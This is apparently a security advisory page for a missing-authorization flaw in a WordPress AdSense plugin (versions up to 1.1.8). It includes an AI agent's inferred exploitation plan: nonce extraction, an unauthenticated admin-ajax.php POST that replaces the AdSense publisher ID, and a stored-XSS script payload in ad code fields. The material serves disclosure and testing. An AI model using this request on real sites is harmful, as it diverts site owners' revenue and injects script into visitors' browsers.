Universal Google Adsense and Ads manager <= 1.1.8 - Missing Authorization
Description
The Universal Google Adsense and Ads manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.1.8Because the source code for the Universal Google Adsense and Ads manager plugin (version <= 1.1.8) is not provided, this plan relies on the vulnerability description and common patterns found in "Missing Authorization" vulnerabilities within WordPress AJAX handlers. The primary goal of the agent is …
Show full research plan
Because the source code for the Universal Google Adsense and Ads manager plugin (version <= 1.1.8) is not provided, this plan relies on the vulnerability description and common patterns found in "Missing Authorization" vulnerabilities within WordPress AJAX handlers. The primary goal of the agent is to identify the specific AJAX action that allows modification of plugin settings.
1. Vulnerability Summary
The Universal Google Adsense and Ads manager plugin for WordPress is vulnerable to Missing Authorization. A function reachable via the WordPress AJAX API (admin-ajax.php) fails to implement a current_user_can() check. This allows unauthenticated attackers to trigger the function and perform unauthorized actions, most likely modifying the plugin's AdSense settings (e.g., changing the AdSense Publisher ID to redirect revenue).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: To be determined via discovery (likely
uga_save_settings,uga_update_options, or similar). - HTTP Method: POST
- Authentication: Unauthenticated (requires a
wp_ajax_nopriv_hook registration). - Payload: URL-encoded parameters representing plugin settings (e.g.,
adsense_id=pub-attacker). - Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
wp-admin/admin-ajax.phpwith a specificactionparameter. - Hook Trigger: WordPress triggers the hook
wp_ajax_nopriv_{action}. - Vulnerable Function: The callback function associated with the hook is executed.
- Missing Check: The callback function lacks a capability check (e.g.,
if (!current_user_can('manage_options'))). - Sink: The function processes the
$_POSTdata and callsupdate_option()orupdate_site_option(), overwriting the legitimate AdSense configuration.
4. Nonce Acquisition Strategy
If the plugin uses check_ajax_referer() or wp_verify_nonce(), the agent must retrieve a valid nonce.
- Identify Action: Search the codebase for
wp_create_nonceto find the action string. - Find Localization: Search for
wp_localize_scriptto see which JavaScript variable holds the nonce.- Hypothetical Variable:
uga_ajax_obj(inferred) - Hypothetical Key:
nonce(inferred)
- Hypothetical Variable:
- Creation of Trigger Page: Many AdSense plugins only load their scripts on the frontend if a widget or shortcode is present.
- Search for shortcodes:
grep -r "add_shortcode" . - If a shortcode like
[universal_adsense]exists, create a page:wp post create --post_type=page --post_status=publish --post_content='[universal_adsense]'
- Search for shortcodes:
- Extraction: Navigate to the new page and use
browser_evalto extract the nonce:browser_eval("window.uga_ajax_obj?.nonce")
5. Exploitation Strategy
The agent should follow these steps:
Step 1: Discovery
Identify the vulnerable AJAX action and parameters.
# Find AJAX registrations
grep -r "wp_ajax_nopriv_" .
# Analyze the callback function of the nopriv action
# Look for update_option calls and missing capability checks
Step 2: Target Identification (Example)
Assuming the action is uga_save_settings and it saves an option called uga_settings.
- Action:
uga_save_settings - Sensitive Parameters:
google_adsense_id,ads_code_1, etc.
Step 3: Execution
Submit the unauthorized update via the http_request tool.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=uga_save_settings&nonce=[NONCE]&google_adsense_id=pub-9999999999999999&ads_code_1=<script>alert('XSS')</script>
6. Test Data Setup
- Install Plugin: Ensure
universal-google-adsense-and-ads-managerversion 1.1.8 is installed. - Initial Config: Set a legitimate AdSense ID using WP-CLI:
wp option update uga_settings '{"google_adsense_id":"pub-1234567890123456"}' --format=json(inferred option name). - Public Page: Create a page with the plugin's shortcode to ensure script localization (if needed for nonce).
7. Expected Results
- Response: The server returns a
200 OKor a success JSON object (e.g.,{"success":true}). - Effect: The plugin settings in the database are updated with the attacker-supplied values.
8. Verification Steps
Confirm the exploit success using WP-CLI:
# Check the value of the plugin's settings option
wp option get uga_settings --format=json
If the google_adsense_id matches pub-9999999999999999, the exploit is successful.
9. Alternative Approaches
- Admin Init Bypass: If no AJAX actions are found, check if the plugin uses
admin_initto process settings. Unauthenticated users can triggeradmin_initby visiting/wp-admin/admin-ajax.php.- Search:
grep -r "admin_init" . - Check if the function attached to
admin_initlooks for$_POST['submit']or similar without a capability check.
- Search:
- XSS Path: If the plugin saves raw HTML for ads, verify if the "Missing Authorization" allows Persistent XSS by injecting a
<script>tag into the ad code fields.
Summary
The Universal Google Adsense and Ads manager plugin for WordPress (<= 1.1.8) is vulnerable to unauthorized settings modification because it fails to perform capability checks on AJAX actions or admin functions. This allow unauthenticated attackers to change the AdSense Publisher ID or inject malicious scripts into ad code by sending a crafted request to the admin-ajax.php endpoint.
Exploit Outline
The attacker identifies an AJAX action intended for administrative settings (likely registered with a 'wp_ajax_nopriv_' hook) that lacks a 'current_user_can()' check. By sending an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the appropriate 'action' parameter and desired setting values (such as 'google_adsense_id' or ad display code), the attacker can overwrite the plugin's configuration in the database. If the plugin uses nonces, the attacker first extracts a valid nonce from the frontend source code of a page where the plugin's scripts are loaded.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.